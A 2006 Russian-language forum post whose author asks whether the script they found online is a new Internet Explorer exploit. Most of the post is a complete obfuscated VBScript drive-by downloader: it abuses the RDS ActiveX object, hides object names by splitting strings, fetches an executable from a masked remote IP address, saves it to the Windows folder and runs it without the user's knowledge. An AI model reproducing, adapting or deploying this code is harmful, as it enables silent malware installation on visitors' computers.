| ReanimatoR |
20.11.2006 23:53 |
Новый эксплоит для Ie?
Код:
<SCRIPT language="VBScript"> If navigator.appName="Microsoft Internet Explorer" Then If InStr(navigator.platform,"Win32") <> 0Then Dim Obj_Name Dim Obj_Prog set obj_RDS = document.createElement("object") obj_RDS.setAttribute "id", "obj_RDS" obj_RDS.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" fn = "7265499976.exe" Obj_Name = "S" & "h" & "e" & "l" & "l" Obj_Prog = "A" & "p" & "pl" & "i" & "ca" & "ti" & "on" set obj_ShellApp = obj_RDS.CreateObject(Obj_Name & "." & Obj_Prog,"") Set oFolder = obj_ShellApp.NameSpace(20) Set oFolderItem=oFolder.ParseName("Symbol.ttf") Font_Path_Components=Split(oFolderItem.Path,"\",-1,1) WinDir= Font_Path_Components(0) & "\" &Font_Path_Components(1) & "\" fn=WinDir & fn Obj_Name = "Mi" & "cr" & "osoft" Obj_Prog = "X" & "M" & "LHTT" & "P" set obj_msxml2 = CreateObject(Obj_Name & "." & Obj_Prog) obj_msxml2.open "G" & "E" & "T","http://**.***.***.***/part/joke.exe",False obj_msxml2.send On Error Resume Next Obj_Name = "AD" & "ODB" Obj_Prog = "St" & "rea" & "m" set obj_adodb = obj_RDS.CreateObject(Obj_Name & "." & Obj_Prog,"") If Err.Number Then Obj_Name = "S" & "c" & "ript" & "ing" Obj_Prog = "F" & "i" & "leSy" & "ste" & "mO" & "bject" Set obj_FileSys=obj_RDS.CreateObject(Obj_Name & "." & Obj_Prog,"") Set download_file=obj_FileSys.CreateTextFile(fn, TRUE) download_file_size=LenB(XMLBody) For i=1 To download_file_size cByte=MidB(XMLBody,i,1) ByteCode=AscB(cByte) download_file.Write(Chr(ByteCode)) Next download_file.Close Obj_Name = "W" & "Sc" & "r" & "ipt" Obj_Prog = "Sh" & "e" & "l" & "l" Set obj_WShell=obj_RDS.CreateObject(Obj_Name & "." & Obj_Prog,"") On Error Resume Next obj_WShell.Run fn,1,FALSE Else obj_adodb.Type=1 obj_adodb.Open obj_adodb.Write(obj_msxml2.responseBody) obj_adodb.SaveToFile fn,2 obj_ShellApp.ShellExecute fn End If End If End If </SCRIPT>'
там немногоо воды есть, но вроде ноорм... Вот нашел в инете=) просто оч внимательный...=) славу богу ослом не пользуюсь.
Вроде на багтраке этой штуки не видел...
----
Я так понял что она закачивает и исполняет файл без ведома пользователя(если браузер Ie)... |
